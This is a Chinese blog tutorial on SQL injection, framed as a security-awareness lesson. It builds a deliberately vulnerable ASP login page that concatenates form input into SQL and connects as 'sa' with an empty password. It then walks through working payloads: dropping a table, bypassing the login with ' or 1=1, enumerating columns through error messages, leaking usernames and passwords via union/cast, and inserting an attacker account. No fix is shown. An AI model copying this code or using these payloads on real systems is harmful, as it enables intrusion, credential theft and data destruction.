菜鸟学SQL注入 --- 一个简单的教学案例

黑客的SQL渗透演示:
指的是黑客或恶意用户在应用程序不知道的情况下通过应用程序来对SQL 数据库执行恶意的代码,一旦渗透成功,可以做任何事情,如查看数据表中的信息,删除数据表的数据,到获得网络访问权限等,我们在使用一些商用应用程序的时候,如一些第三方软件,会要求我们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,通过这些用户名和口令来进行相应的操作。这种使用方法可以进行精细的安全控制。所以当前的应用软件中大多都使用这种方法。
而我们这种SQL渗透会对这种方法进行攻击。
我们在这里介绍的内容,主要是为了使用大家在以后的工作中加强安全意识
演示过程:
我们要建立一个表来存放用户名和口令及访问级别

create table users (username varchar(10),password varchar(20), access int)
insert into USERS  values ('dufei','杜飞',1)
利用DW建一个登录页面
详见文档:
<body>
<form name="form1" method="post" action="logined.asp">
  <table width="75%" border="1">
    <tr> 
      <td colspan="2"><div align="center"><font size="5"><strong>用户登录</strong></font></div></td>
    </tr>
    <tr> 
      <td height="21">
<div align="right">用户名:</div></td>
      <td><input name="login_nm" type="text" id="login_nm"></td>
    </tr>
    <tr> 
      <td><div align="right">口令:</div></td>
      <td><input name="login_pw" type="text" id="login_pw"></td>
    </tr>
    <tr> 
      <td colspan="2"><div align="center"> 
          <input type="submit" name="Submit" value="提交">
          &nbsp;&nbsp;&nbsp;&nbsp; 
          <input type="reset" name="Submit2" value="重置">
        </div></td>
    </tr>
  </table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登录成功,你可以得到任何你所需要的数据")
else
response.write("登录失败")
end if
%>
黑客渗透的第一个例子:删除表
建立一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登录失败的提示,但让我们来看一下T1表是否还存在!
已经消失在世界的尽头了!再也不会回来了
此时为什么不成功,就是SQL渗透在起作用:
我们来分析一下:
从正常登录:输入:DUFEI    杜飞    1   到输入:’; drop table –
分别是:
 select * from logins where USERNAME=’u1’  and PASSWORD=’p1’;
select * from logins where  USERNAME=’’; drop table t1 --  and PASSWORD=’p1’;
因为空用户名是错误的,所以会报登录失败
第二个例子:模仿USERS中的第一个用户登录到我们的系统:
' or (1=1) --
分析:相当于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1  --  and PASSWORD=’杜飞’;
通过这个例子可以看到,SQL 渗透确实可以起到进入系统,破坏系统的作用
当黑客尝到了甜头,就会使用更为危险的手段来攻击
第三个例子:如果黑客在文本框中输入:' having 1=1 --
是没有成功,要的就是这个效果,没有成功,但却得到了我们想要的东西,或者是说,可以从中得到我们感兴趣的东西:暴露了很多危险的东西,这些是作为一个黑客想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪个表,哪个字段中。然后可以猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就可以进行更为危险的攻击
现在黑客想利用所知道的情况再进一步想知道这个表中还有什么字段,以及每个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里肯定是口令。
再想得到第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明所有字段都得到了。
下面还想知道每个字段的类型是什么类型,为以后进一步的攻击做准备
' union select avg(USERS.USERNAME)  from USERS--
能以 varchar 数据类型作为参数
' union select avg(USERS.PASSWORD)  from USERS--
求第三个字段ACCESS也是一样,或者用' and access='f' --
这就得到了三个字段和每个字段的类型了。
但更精彩的来了,我想知道每个字段的具体内容:
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 得到了U1,这是一个用户名。
这对黑客是很有价值的,但是对系统来说是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw  如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可
到现在为止,他知道了用户名口令就可以了,
那如果再高级一点,他可以不用你的用户名口令,我可以直接向你的表中写一个用户名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
测试:




 本文转自 dufei 51CTO博客,原文链接:http://blog.51cto.com/dufei/82295,如需转载请自行联系原作者

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值